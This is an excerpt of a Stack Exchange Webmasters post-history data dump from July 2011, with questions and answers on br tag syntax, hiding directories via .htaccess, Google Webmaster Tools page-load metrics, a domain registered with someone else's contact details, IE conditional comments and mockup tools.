  <row Id="41305" PostHistoryTypeId="2" PostId="17195" RevisionGUID="7adec816-f9d6-4a22-9ece-8425717a7ba0" CreationDate="2011-07-21T19:43:50.793" UserId="4502" Text="At the technical reading-the-specs level, the first one is correct. In HTML, the `br` tag is &lt;a href=&quot;http://www.w3.org/TR/html401/struct/text.html#h-9.1&quot;&gt;white space&lt;/a&gt; and functions as a separator.&#xD;&#xA;&#xD;&#xA;In terms of actual practice, however, it should be interpreted as, literally&#xD;&#xA;&#xD;&#xA;    Publication Author&#xD;&#xA;    Publication Citation&#xD;&#xA;&#xD;&#xA;which in terms of &quot;reading&quot; carries a different sort of &quot;pause&quot; from simply two words separated by a space." />
  <row Id="41306" PostHistoryTypeId="2" PostId="17196" RevisionGUID="9403f74d-aea9-4e22-8962-03e47194106b" CreationDate="2011-07-21T20:08:13.733" UserId="9103" Text="i'm trying to hide some directories on my site by returning 404 not found error codes instead of forbidden, the problem is that the files in the directory becomes not available to php.&#xD;&#xA;&#xD;&#xA;how can i hide the directories by returning 404 error codes for them without making them unavailable to me also?&#xD;&#xA;&#xD;&#xA;i have seen this in apple.com and facebook.com.&#xD;&#xA;&#xD;&#xA;this is the code i'm using in .htaccess:&#xD;&#xA;&#xD;&#xA;    Options All -Indexes&#xD;&#xA;    RedirectMatch 404 ^/classes(/?|/.*)$&#xD;&#xA;    RedirectMatch 404 ^/css(/?|/.*)$&#xD;&#xA;&#xD;&#xA;if it's not possible how can i hide them without returning 403 because wans a hacker sees 403 he will go make some coffee sit infront of his laptop and won't leave my site without some data." />
  <row Id="41307" PostHistoryTypeId="1" PostId="17196" RevisionGUID="9403f74d-aea9-4e22-8962-03e47194106b" CreationDate="2011-07-21T20:08:13.733" UserId="9103" Text="Having hard time to hide directories on my site..." />
  <row Id="41308" PostHistoryTypeId="3" PostId="17196" RevisionGUID="9403f74d-aea9-4e22-8962-03e47194106b" CreationDate="2011-07-21T20:08:13.733" UserId="9103" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="41309" PostHistoryTypeId="2" PostId="17197" RevisionGUID="748361d0-d6e8-41e4-b7ef-281ca80c834a" CreationDate="2011-07-21T20:16:21.390" UserId="3" Text="Per the official guidance&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=158541&#xD;&#xA;&#xD;&#xA;&gt; **Page load time is the total time from the moment the user clicks on a link to your page until the time the entire page is loaded and displayed in a browser.** It is collected directly from users who have installed the Google Toolbar and have enabled the optional PageRank feature.&#xD;&#xA;&#xD;&#xA;Since users can often interact with web pages before they are fully downloaded, **this is a very strict interpretation of website speed**. But it's probably fair to be extra strict on this measure, and if a page has tons of dynamic JavaScript and dynamically loaded ads, it's arguably more correct.&#xD;&#xA;&#xD;&#xA;Therefore, the way they measure this is by using the Network tab in Google Chrome tools aka &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;![network tab in Google Chrome tools][1]&#xD;&#xA;&#xD;&#xA;The two relevant events are `DOMContent Event Fired` (blue line) and `Load event fired` (red line). On a random page here on this site, that means the numbers are around 600 ms and 1.1 sec, respectively. That's much, much larger than the time to download a page from the command line using `wget` -- and clearly reflects time the *client browser* is spending to render the content it downloads via HTTP.&#xD;&#xA;&#xD;&#xA;(It also seemed vaguely unfair to me, since a website with all static pages is going to have a huge advantage over one that dynamically customizes each page for the specific user, but I guess those are the breaks!)&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/oa8HX.png" />
  <row Id="41310" PostHistoryTypeId="5" PostId="17137" RevisionGUID="e8add7e5-2dd7-4014-9ea1-ed4dfed2cc9c" CreationDate="2011-07-21T20:21:35.867" UserId="3" Comment="added 54 characters in body; edited title" Text="I've been working for two months now on improving our response time (mainly server side) on a new forum (a brand new product on a technical point of view) we've launched in Germany a few month ago and I'm a lot surprised by the results I get. I monitor our response time using Apache logs and our own implementation of [Boomerang][1] beacon.&#xD;&#xA;&#xD;&#xA;Using my stats, I can see that our new product responds in about 680 ms where our old product was responding in about 1050 ms. On the other side, Google Webmaster Tool tells us that  our pages have an average reponse time of about 1500 ms today where it was 700 three months ago with our old product.&#xD;&#xA;&#xD;&#xA;I've figured that GWT was taking client side metrics into account so I've added some measures on our Boomerang beacon and everything looks just fine. I've also ran some random pages on ySlow and Google's Page Speed and everything looks better than it was before. We event have a 82% on Google's Page Speed tool which is quite cool for a site with some ads in it :)&#xD;&#xA;&#xD;&#xA;Lately, we have signed a deal with Akamai to use two of their products : CDN for our static files (we were using another CDN before but it wasn't very effective) and RMA to improve Networks routes. We have also introduced a new agressive cache mecanism to ensure that most of the pages served to crawlers are cached by our memcache grid. After checking my metrics, it seems that this changes have improved from 650ms to about 500ms, which is good (still not great but it is definitly an improvement). But webmaster tools continues to report an increasing average response time where we see it decreasing in the same time.&#xD;&#xA;&#xD;&#xA;Have you ever had the same kind of wierd behavior on your sites while doing performance improvements ? Do you have any idea how to monitor the same thing Google does with Site Performance in Google Webmaster Tools so that we could improve our site and constantly check if it is what Google wants ?&#xD;&#xA;&#xD;&#xA;  [1]: http://yahoo.github.com/boomerang/doc/" />
  <row Id="41311" PostHistoryTypeId="4" PostId="17137" RevisionGUID="e8add7e5-2dd7-4014-9ea1-ed4dfed2cc9c" CreationDate="2011-07-21T20:21:35.867" UserId="3" Comment="added 54 characters in body; edited title" Text="How exactly is Google Webmaster Tools measuring &quot;Site Performance&quot;?" />
  <row Id="41312" PostHistoryTypeId="5" PostId="17197" RevisionGUID="37a74e4c-bf0b-4793-b195-60b95f2b5b20" CreationDate="2011-07-21T20:22:16.987" UserId="3" Comment="deleted 6 characters in body" Text="Per the official guidance&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=158541&#xD;&#xA;&#xD;&#xA;&gt; Site Performance is an experimental Webmaster Tools Labs feature that shows you latency information about your site. (To see Site Performance data, you must add and verify your site in Webmaster Tools.) &#xD;&#xA;&gt; &#xD;&#xA;&gt; **Page load time is the total time from the moment the user clicks on a link to your page until the time the entire page is loaded and displayed in a browser.** It is collected directly from users who have installed the Google Toolbar and have enabled the optional PageRank feature.&#xD;&#xA;&#xD;&#xA;Since users can often interact with web pages before they are fully downloaded, **this is a very strict interpretation of website speed**. But it's reasonable to be extra strict on this measure because if a page has tons of dynamic JavaScript and dynamically loaded ads, it's arguably more correct to for the user to see the page as loading slowly.&#xD;&#xA;&#xD;&#xA;Therefore, the way they measure this is by using the Network tab in Google Chrome tools aka &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;![network tab in Google Chrome tools][1]&#xD;&#xA;&#xD;&#xA;The two relevant events are `DOMContent Event Fired` (blue line) and `Load event fired` (red line). On a random page here on this site, that means the numbers are around 600 ms and 1.1 sec, respectively. That's much, much larger than the time to download a page from the command line using `wget` -- and clearly reflects time the *client browser* is spending to render the content it downloads via HTTP.&#xD;&#xA;&#xD;&#xA;(It also seems a tad unfair to me, since a website with all static pages is going to have a huge advantage over one that dynamically customizes each page for the specific user, but I guess them's the breaks!)&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/oa8HX.png" />
  <row Id="41313" PostHistoryTypeId="2" PostId="17198" RevisionGUID="66eb6bf8-dec9-4a41-887f-7552df1c9407" CreationDate="2011-07-21T20:25:00.887" UserId="9059" Text="Back in the day, I remember writing many a webpage without using / in the &lt;br&gt; tag. What changed? Also, is the space &quot;required?&quot;" />
  <row Id="41314" PostHistoryTypeId="1" PostId="17198" RevisionGUID="66eb6bf8-dec9-4a41-887f-7552df1c9407" CreationDate="2011-07-21T20:25:00.887" UserId="9059" Text="Are the space and the / required in the &lt;br /&gt; tag?" />
  <row Id="41315" PostHistoryTypeId="3" PostId="17198" RevisionGUID="66eb6bf8-dec9-4a41-887f-7552df1c9407" CreationDate="2011-07-21T20:25:00.887" UserId="9059" Text="&lt;html&gt;&lt;tags&gt;" />
  <row Id="41316" PostHistoryTypeId="2" PostId="17199" RevisionGUID="c1eb46c0-774a-4ef0-8bf7-8b7ea289410f" CreationDate="2011-07-21T21:09:22.547" UserId="6033" Text="It's required for [XHTML compliance][1]: &#xD;&#xA;&#xD;&#xA;&gt; Broadly, the XML rules require that all elements be closed, either by&#xD;&#xA;&gt; a separate closing tag or using self closing syntax (e.g. br /),&#xD;&#xA;&gt; while HTML syntax permits some elements to be unclosed because either&#xD;&#xA;&gt; they are always empty (e.g. input) or their end can be determined&#xD;&#xA;&gt; implicitly (&quot;omissibility&quot;, e.g. p).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/XHTML" />
  <row Id="41317" PostHistoryTypeId="5" PostId="17199" RevisionGUID="3bcd6ed5-d97f-41bf-8892-ca66d8a3de3b" CreationDate="2011-07-21T21:15:35.993" UserId="6033" Comment="added 79 characters in body" Text="It's required for [XHTML compliance][1]: &#xD;&#xA;&#xD;&#xA;&gt; Broadly, the XML rules require that all elements be closed, either by&#xD;&#xA;&gt; a separate closing tag or using self closing syntax (e.g. br /),&#xD;&#xA;&gt; while HTML syntax permits some elements to be unclosed because either&#xD;&#xA;&gt; they are always empty (e.g. input) or their end can be determined&#xD;&#xA;&gt; implicitly (&quot;omissibility&quot;, e.g. p).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Read the section under the heading: &quot;Relationship to HTML&quot; for more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/XHTML" />
  <row Id="41318" PostHistoryTypeId="2" PostId="17200" RevisionGUID="d9166bdd-25b9-4631-b82e-f1b65e591be5" CreationDate="2011-07-21T21:16:50.587" UserId="1010" Text="&gt; I remember writing many a webpage without using / in the tag.&#xD;&#xA;&#xD;&#xA;I have great news for you!  You *don't need no steenking* / any longer.  Again, I mean.&#xD;&#xA;&#xD;&#xA;Why?&#xD;&#xA;&#xD;&#xA;Because ... &#xD;&#xA;&#xD;&#xA;&gt; What changed?&#xD;&#xA;&#xD;&#xA;[XHTML](http://en.wikipedia.org/wiki/XHTML), an implementation HTML serialized as XML.  XMK has a very strict set of syntax requirements.  One of those requirements is that you can't leave a tag open.  The syntax `&lt;tag/&gt;` is called a *self-closing* tag, in that it opens itself and closes itself at once.&#xD;&#xA;&#xD;&#xA;&gt; Also, is the space &quot;required?&quot;&#xD;&#xA;&#xD;&#xA;One of the more interesting things about XHTML is that it's *kind of* backwards compatible with HTML.  You can throw a legal XHTML document at an HTML parser and it *should* be able to make sense out of it.  However, not all HTML parsers can do so.  Old, old, prehistoric, no-longer-used versions of Netscape and other browsers would see the self-closed `&lt;br/&gt;` tag not as a `br`, but as a tag named `br/`, which is bogus.  Putting a space before the forward slash became best practice.&#xD;&#xA;&#xD;&#xA;There's a fatal flaw with XHTML.  Because it requires the XML parsing rules, that also means it requires the XML *error handling* rules, which mandate that parsing halt immediately upon a syntax error.  In other words, if there's a single parse error in the document, the browser *must not* show the document to the user.&#xD;&#xA;&#xD;&#xA;That's kind of a show-stopper.  XHTML *served as XML* never caught on because some browser vendors (like Microsoft) refused to add support due to the must-die-immediately nature of error handling.&#xD;&#xA;&#xD;&#xA;XHTML still caught on because it was full of awesome best practices, even if the documents didn't end up being served as XML.&#xD;&#xA;&#xD;&#xA;Now, earlier I said that you don't need it any longer.  That is true for both HTML4 and the upcoming [HTML5](http://en.wikipedia.org/wiki/HTML5).  They've gone through the effort of actually specifying how HTML5 should be parsed now, and that forward slash is going to be considered an error.  Thankfully [XHTML5 is a thing](http://en.wikipedia.org/wiki/XHTML#XHTML5), and if you really want to use the XML syntax rules instead of the HTML5 syntax rules, you can go right ahead." />
  <row Id="41319" PostHistoryTypeId="2" PostId="17201" RevisionGUID="13a3e436-948f-4458-8ea7-63fcd1babc80" CreationDate="2011-07-21T21:25:13.697" UserId="1803" Text="&quot;i have seen this in apple.com&quot; [Where exactly have you seen that?][1] and how did you mentioned, if the directories are actually not available?&#xD;&#xA;&#xD;&#xA;A folder for images or style sheets **must** be accessible by the client, otherwise no one can see your images, nor can the browser download the included style sheets. If you have files which are to be included only on the server-side (via PHP) put those files into directories below your web-/http-folder.&#xD;&#xA;&#xD;&#xA;And why should any &quot;hacker&quot; be interested in viewing direcotries on your server, which are in the public web-folder? Did you read that somewhere? [Just hiding anything does not add security.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://images.apple.com/home/images/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Security_through_obscurity" />
  <row Id="41320" PostHistoryTypeId="2" PostId="17202" RevisionGUID="f2c87ffb-d7c5-4b32-837a-3cdc65cac62b" CreationDate="2011-07-21T21:29:02.433" UserId="4033" Text="`&lt;br/&gt;` is used on pages with XHTML Doctype. The reason was that XHTML was based on XML and XML required all tags to have a closing tag. &#xD;&#xA;&#xD;&#xA;like&#xD;&#xA;&#xD;&#xA;    &lt;tag&gt; &lt;/tag&gt;&#xD;&#xA;&#xD;&#xA;In the case where there was no closing tag (like single tags as `&lt;br&gt;`) XHTML requires the &quot;/&quot; for standard compliance.&#xD;&#xA;&#xD;&#xA;As for the space: It is not required.&#xD;&#xA;&#xD;&#xA;And when it comes to what changed. It is all about HTML itself. As HTML 5 gains more popularity every day people are using &lt;br&gt;.&#xD;&#xA;&#xD;&#xA;In HTML 5 `&lt;br&gt;` is used. Also `&lt;BR&gt;` is acceptable too ." />
  <row Id="41321" PostHistoryTypeId="25" PostId="17198" RevisionGUID="e21c4173-802f-4c65-a357-20ddac1ede64" CreationDate="2011-07-21T21:31:55.973" Comment="http://twitter.com/#!/StackWebmasters/status/94157683317415937" />
  <row Id="41322" PostHistoryTypeId="2" PostId="17203" RevisionGUID="85ca4736-20e3-41a1-a7ec-335f515872c1" CreationDate="2011-07-21T22:39:47.637" UserId="9108" Text="In my opinion, your best option would be to find a cheap [VPS](http://en.wikipedia.org/wiki/Virtual_private_server). I use [123 Systems](http://123systems.net/), they are a budget VPS provider and by no means the best option. I have found the Google App Engine to be a bit limiting from a coding perspective." />
  <row Id="41323" PostHistoryTypeId="5" PostId="17196" RevisionGUID="690e751e-f198-4eea-a02a-bddf1566beea" CreationDate="2011-07-21T22:49:14.937" UserId="9103" Comment="added 580 characters in body" Text="i'm trying to hide some directories on my site by returning 404 not found error codes instead of forbidden, the problem is that the files in the directory becomes not available to php.&#xD;&#xA;&#xD;&#xA;how can i hide the directories by returning 404 error codes for them without making them unavailable to me also?&#xD;&#xA;&#xD;&#xA;i have seen this in apple.com and facebook.com.&#xD;&#xA;&#xD;&#xA;this is the code i'm using in .htaccess:&#xD;&#xA;&#xD;&#xA;    Options All -Indexes&#xD;&#xA;    RedirectMatch 404 ^/classes(/?|/.*)$&#xD;&#xA;    RedirectMatch 404 ^/css(/?|/.*)$&#xD;&#xA;&#xD;&#xA;if it's not possible how can i hide them without returning 403 because wans a hacker sees 403 he will go make some coffee sit infront of his laptop and won't leave my site without some data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;this where i'v seen it&#xD;&#xA;http://images.apple.com/global/styles/ &#xD;&#xA;&#xD;&#xA;i'm not saying i want to hide very important stuff....&#xD;&#xA;&#xD;&#xA;the important stuff are outside the web root, what i'm saying is i want to hide directories like this directory for example.&#xD;&#xA;&#xD;&#xA;`/media/`&#xD;&#xA;in this directory there are more than 800 directories in each directory there are more than 500 mp3's, how can i send 404 for all those directories but still be able to reach them through php or javascript, is that possible? and if not is denying access to all of this folders is my only solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41324" PostHistoryTypeId="17" PostId="17204" RevisionGUID="9c8c0986-3ed4-4dcc-b254-ceef38de78bc" CreationDate="2011-07-21T23:05:43.697" UserId="-1" Comment="from http://serverfault.com/questions/292865/what-to-do-if-you-are-listed-incorrectly-as-an-administrative-or-technical-contac" Text="" />
  <row Id="41325" PostHistoryTypeId="2" PostId="17204" RevisionGUID="6b1a0895-350a-46d7-bc51-654746c50dd3" CreationDate="2011-07-21T23:02:07.767" UserId="5687" Text="I recently got a letter in the mail from one of those sketchy &quot;website listing services&quot; that offer to submit your website to search engines for a fee. Before throwing it away I noticed that the domain name was not any of the ones I own. I looked up the name on networksolutions.com, and sure enough, my contact information (name, address, and phone number) is listed as the administrative and technical contact for the domain, along with an email address that is not mine. &#xD;&#xA;&#xD;&#xA;Is there anything I can do to correct this? Is this associated with any known scams?" />
  <row Id="41326" PostHistoryTypeId="1" PostId="17204" RevisionGUID="6b1a0895-350a-46d7-bc51-654746c50dd3" CreationDate="2011-07-21T23:02:07.767" UserId="5687" Text="What to do if you are listed incorrectly as an administrative or technical contact for a domain?" />
  <row Id="41327" PostHistoryTypeId="3" PostId="17204" RevisionGUID="6b1a0895-350a-46d7-bc51-654746c50dd3" CreationDate="2011-07-21T23:02:07.767" UserId="5687" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="41328" PostHistoryTypeId="2" PostId="17205" RevisionGUID="447a7872-e214-4fdb-8ec0-c0168718aaa7" CreationDate="2011-07-21T23:13:21.553" UserId="3125" Text="I'd contact networksolutions about this as soon as possible and explain the situation." />
  <row Id="41329" PostHistoryTypeId="2" PostId="17206" RevisionGUID="d965bc49-ef83-45e0-adad-866fc4de53e8" CreationDate="2011-07-21T23:17:35.970" UserId="7489" Text="You might want to run a few different credit reports on yourself as things like this are common with identity theft." />
  <row Id="41330" PostHistoryTypeId="2" PostId="17207" RevisionGUID="85830840-013f-4636-bbb5-cb042786e3eb" CreationDate="2011-07-21T23:25:35.443" UserId="132" Text="As has been said, the trailing slash is used to close empty elements (e.g. br, hr, img), and is required when writing pages using the XHTML doctype. The space is not required, but was commonly used since some older browsers (I think including Netscape 4) did not like empty elements having a trailing slash without the space. So the space became common use to accommodate the browsers that didn't fully understand XHTML. It's not required now." />
  <row Id="41331" PostHistoryTypeId="25" PostId="17204" RevisionGUID="be4a281f-c9ec-42bf-ae79-d8130e83573f" CreationDate="2011-07-22T00:31:56.230" Comment="http://twitter.com/#!/StackWebmasters/status/94202982001942529" />
  <row Id="41332" PostHistoryTypeId="2" PostId="17208" RevisionGUID="20d46d46-6cfe-4e5e-b10d-b6798995dccc" CreationDate="2011-07-22T01:24:37.530" UserId="9114" Text="So I'm working on this website for my dad (http://tendonaid.com/) and it works nice in modern browsers, but apparently he's getting comments on how the top navigation doesn't work on Internet Explorer (7 and lower, I think). It's shifts to the right instead of centering in the middle.&#xD;&#xA;&#xD;&#xA;My question is, how do I fix this? Or, is there some sort of if/or conditional comment thing I can do that says IF IE... use this class for the div / OR (any other browser) use this other class?" />
  <row Id="41333" PostHistoryTypeId="1" PostId="17208" RevisionGUID="20d46d46-6cfe-4e5e-b10d-b6798995dccc" CreationDate="2011-07-22T01:24:37.530" UserId="9114" Text="if... or conditional comments?" />
  <row Id="41334" PostHistoryTypeId="3" PostId="17208" RevisionGUID="20d46d46-6cfe-4e5e-b10d-b6798995dccc" CreationDate="2011-07-22T01:24:37.530" UserId="9114" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="41335" PostHistoryTypeId="2" PostId="17209" RevisionGUID="3c3904f7-3e68-4c0f-84d3-3496d9d274d2" CreationDate="2011-07-22T01:26:23.437" UserId="7232" Text="I am setting up a Wiki in Confluence v3.5.1  &#xD;&#xA;I have added a visio diagram (JPG) to a page (this diagram will take up most of the page)  &#xD;&#xA;- This diagram depicts the workflow between developers and support and clients.  &#xD;&#xA;&#xD;&#xA;I envisage users being able to click on different parts of the diagram and it to open up child pages with more details about that particular process (with videos on 'how-to' do that specific task, like log issues in Jira)&#xD;&#xA;&#xD;&#xA;However, from what I can see, there is no way from the Confluence editor to add multiple links to the one image, right?  I looked at [Anchors][1], but this does not look like it will do the job.&#xD;&#xA;&#xD;&#xA;So, what is the best option?  &#xD;&#xA;&#xD;&#xA;I remember Dreamweaver having these sorts of tools built in, and there appears to be other [utilities][2] that can help put in [image map HTML tags][3], but I cannot see a way of easily editing the HTML in Confluence editor.  Also worried about the headache this could cause with managing future changes of the page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://confluence.atlassian.com/display/DOC/Working+with+Anchors#WorkingwithAnchors-Examples&#xD;&#xA;  [2]: http://www.onextrapixel.com/2009/04/30/how-to-create-multiple-links-on-a-single-image-with-image-map/&#xD;&#xA;  [3]: http://www.w3schools.com/tags/tag_map.asp" />
  <row Id="41336" PostHistoryTypeId="1" PostId="17209" RevisionGUID="3c3904f7-3e68-4c0f-84d3-3496d9d274d2" CreationDate="2011-07-22T01:26:23.437" UserId="7232" Text="Inserting multiple links to one image in Confluence" />
  <row Id="41337" PostHistoryTypeId="3" PostId="17209" RevisionGUID="3c3904f7-3e68-4c0f-84d3-3496d9d274d2" CreationDate="2011-07-22T01:26:23.437" UserId="7232" Text="&lt;confluence&gt;" />
  <row Id="41338" PostHistoryTypeId="2" PostId="17210" RevisionGUID="b18e6945-8785-4092-8c75-1882bd4c3fe8" CreationDate="2011-07-22T02:44:36.923" UserId="1253" Text="You can use [conditional comments][1] to target specific versions of Internet Explorer. In your case you would want to target IE7 and lower so you would use:&#xD;&#xA;&#xD;&#xA;    &lt;!--[if lt IE 7 ]&gt;&#xD;&#xA;      &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;        &lt;!-- Your special rule to fix the CSS issue goes here --&gt;&#xD;&#xA;      &lt;/style&gt;&#xD;&#xA;    &lt;![endif]--&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://reference.sitepoint.com/css/conditionalcomments&#xD;&#xA;" />
  <row Id="41339" PostHistoryTypeId="25" PostId="17191" RevisionGUID="41aabce2-bbae-4072-9c25-5ccaf8696d28" CreationDate="2011-07-22T03:31:55.507" Comment="http://twitter.com/#!/StackWebmasters/status/94248280233480193" />
  <row Id="41340" PostHistoryTypeId="5" PostId="17186" RevisionGUID="93b3284a-d523-4a6b-a516-3e13a9f399f5" CreationDate="2011-07-22T03:59:40.740" UserId="9100" Comment="Added solution" Text="I have an html page, and I need a link to show that the user would be going to 'example.html', when really, the link goes to 'javascipt:ajaxLoad(example.html);'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: I went over to stackexchange, and their solution worked. The html would go from this:&#xD;&#xA;    &lt;a href=&quot;example.html&quot; onclick=&quot;javascript:ajaxLoad(example.html);&quot;&gt;Example&lt;/a&gt;&#xD;&#xA;to this:&#xD;&#xA;    &lt;a href=&quot;example.html&quot; onclick=&quot;javascript:ajaxLoad(example.html); return false;&quot;&gt;Example&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;The solution, is if javascript is enabled, the 'return false;' will cancel going to the link on the page, and load the javascript. If not, then it will go to the page in the href" />
  <row Id="41341" PostHistoryTypeId="17" PostId="17211" RevisionGUID="d50fac61-b99b-49e5-87ac-1e99a213b01b" CreationDate="2011-07-22T04:07:48.167" UserId="-1" Comment="from http://stackoverflow.com/questions/6772470/software-or-webapp-for-creating-fluid-mockups" Text="" />
  <row Id="41342" PostHistoryTypeId="17" PostId="17212" RevisionGUID="f5057bcb-aece-4043-8640-11ce71ef81c9" CreationDate="2011-07-22T04:07:48.167" UserId="-1" Comment="from http://stackoverflow.com/questions/6772470/software-or-webapp-for-creating-fluid-mockups" Text="" />
  <row Id="41343" PostHistoryTypeId="2" PostId="17212" RevisionGUID="fe0229da-1647-4a04-8ef1-361994e09131" CreationDate="2011-07-21T07:59:17.937" UserId="9214" UserDisplayName="Mr Moose" Text="You could try [Balsamiq][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://balsamiq.com/" />
  <row Id="41344" PostHistoryTypeId="2" PostId="17211" RevisionGUID="1b4c5e7f-ca97-4712-9ca0-382693cf3cfa" CreationDate="2011-07-21T07:08:48.510" UserId="9089" Text="It's not actually a programming question, but still...&#xD;&#xA;&#xD;&#xA;Designers in a company I work for use InDesign and Visio for creating web-designs. All our websites have fluid layouts, and sometimes there are things like widgets or complex blocks on a page, and you can't say for sure how it should behave when the browser is resized.&#xD;&#xA;&#xD;&#xA;All I get is a 'picture'. Static, fixed picture. Is there a software or webapp for creating _fluid_ designs?" />
  <row Id="41345" PostHistoryTypeId="1" PostId="17211" RevisionGUID="1b4c5e7f-ca97-4712-9ca0-382693cf3cfa" CreationDate="2011-07-21T07:08:48.510" UserId="9089" Text="Software or webapp for creating fluid mockups" />
  <row Id="41346" PostHistoryTypeId="3" PostId="17211" RevisionGUID="1b4c5e7f-ca97-4712-9ca0-382693cf3cfa" CreationDate="2011-07-21T07:08:48.510" UserId="9089" Text="&lt;design&gt;" />
  <row Id="41347" PostHistoryTypeId="2" PostId="17213" RevisionGUID="58de10a9-f521-4d02-be8d-835a00318aa6" CreationDate="2011-07-22T04:34:46.823" UserId="5340" Text="You mention that the Google Analytics code now appears in the headers rather than at the end of the page; has that changed the page load time appreciably? The GA code may now be executed before the page content loads, slowing down the time it takes for Google to see that content; if you were close to some limits before, it's possible that could have pushed into a penalty area. OTOH, I'd not expect a page speed penalty to be anywhere near as drastic as yours seems to be.&#xD;&#xA;&#xD;&#xA;You can check loading patterns with something like http://loads.in/ (and probably Google Analytics somewhere...)." />
  <row Id="41348" PostHistoryTypeId="2" PostId="17214" RevisionGUID="d03e6e7f-d2d5-49f1-a092-4317847d59c3" CreationDate="2011-07-22T06:07:44.320" UserId="9119" Text="Here's what [WireframeSketcher][1] can do for you:&#xD;&#xA;&#xD;&#xA;![Sample WireframeSketcher mockup][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wireframesketcher.com&#xD;&#xA;  [2]: http://wireframesketcher.com/samples/Website.png" />
  <row Id="41349" PostHistoryTypeId="25" PostId="17137" RevisionGUID="fddbe6b8-876e-4892-889f-915be4b53e22" CreationDate="2011-07-22T06:31:55.757" Comment="http://twitter.com/#!/StackWebmasters/status/94293579010277376" />
  <row Id="41350" PostHistoryTypeId="2" PostId="17215" RevisionGUID="9cf4cf46-3aa9-45f4-8b8a-2c7e494e6cc4" CreationDate="2011-07-22T07:45:52.647" UserId="8687" Text="I start with the purpose and the data. What do we collect, what do we output and how do we manipulate and store that in between. Is there user input, customer input or just myself maintaining a static site. That is the basics.&#xD;&#xA;&#xD;&#xA;From there I create a set of test data. Some Ipsum Lorum text and imaginary users and design my database.&#xD;&#xA;&#xD;&#xA;Once I know what data I have to display, I can begin to design the display. Some people like to photoshop this part. I like to do it natively in HTML with just minimal graphics cause that's just my preference. I will also draw up from HTML forms for the input side, user login and such. They'll be no backend at this stage. I have my database and the front end designs.&#xD;&#xA;&#xD;&#xA;Now I take screen shots of the design and present them to the client. They usually have a few small modification to make at this stage. This is to be expected. Usually it's noting difficult to do since your just tweaking html pages. I often make the changes on the fly at the client meeting if they are easy changes.&#xD;&#xA;&#xD;&#xA;When the client is happy with the designs, I'll start of the back end. Connecting the forms and display pages to the database. I generally code in php plus javascript so this work can usually be done quite quickly. I will built the site in a progressive way. I start with the main display pages. What the end user sees. And build that first before I do the admin and other pages. If it's a shopping site then I'll build the shopping cart pages first then the product pages. When a set of pages are finished I show screenshot to the client. I only show screenshot cause I don't want them clicking on some part that isn't yet finished and getting an error page.&#xD;&#xA;&#xD;&#xA;The last part I do is the admin pages for the customer to control the site. If I'm controlling the site, I might skimp on this and just make to with phpmyadmin to make changes. When everything's finished I let the customer play on the local version of the site. If they are satisfied, I'll upload to the server." />
  <row Id="41351" PostHistoryTypeId="2" PostId="17216" RevisionGUID="20635053-9826-4e35-b661-27b83793239b" CreationDate="2011-07-22T07:55:32.170" UserId="8687" Text="It the domain is .com .net or .org then you should report the error to ICANN or InterNic. [Here's the form for doing so][1]. If it is a UK domain, look to Nominet. Other country domains have their own central registrars.&#xD;&#xA;&#xD;&#xA;In addition you could try reporting it to the domain registrar that manages that domain. They will probably be keen to know about any fraud on their system though they might no show it outwardly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wdprs.internic.net/" />
  <row Id="41352" PostHistoryTypeId="2" PostId="17217" RevisionGUID="f43ed166-9d12-4b47-bcb1-e319779659a4" CreationDate="2011-07-22T07:56:14.590" UserId="6334" Text="I was exploring meta tag and came across reply-to attribute. Can someone please give me an example of how to use it ? Also, is it recommended to use that attribute ?" />
  <row Id="41353" PostHistoryTypeId="1" PostId="17217" RevisionGUID="f43ed166-9d12-4b47-bcb1-e319779659a4" CreationDate="2011-07-22T07:56:14.590" UserId="6334" Text="how/when to use meta reply-to tag ?" />
  <row Id="41354" PostHistoryTypeId="3" PostId="17217" RevisionGUID="f43ed166-9d12-4b47-bcb1-e319779659a4" CreationDate="2011-07-22T07:56:14.590" UserId="6334" Text="&lt;html&gt;&lt;html5&gt;&lt;meta-keywords&gt;" />
  <row Id="41355" PostHistoryTypeId="2" PostId="17218" RevisionGUID="166d46d8-9eb3-4701-867c-c671f0adacbd" CreationDate="2011-07-22T08:03:31.757" UserId="1643" Text="The answers here on stackoverflow.com probably cover it - http://stackoverflow.com/questions/3141705/what-is-meta-http-equiv-reply-to-content-adminexample-com. As one of the other answers says though, it's probably going to be a spam trap, so not recommended.&#xD;&#xA;" />
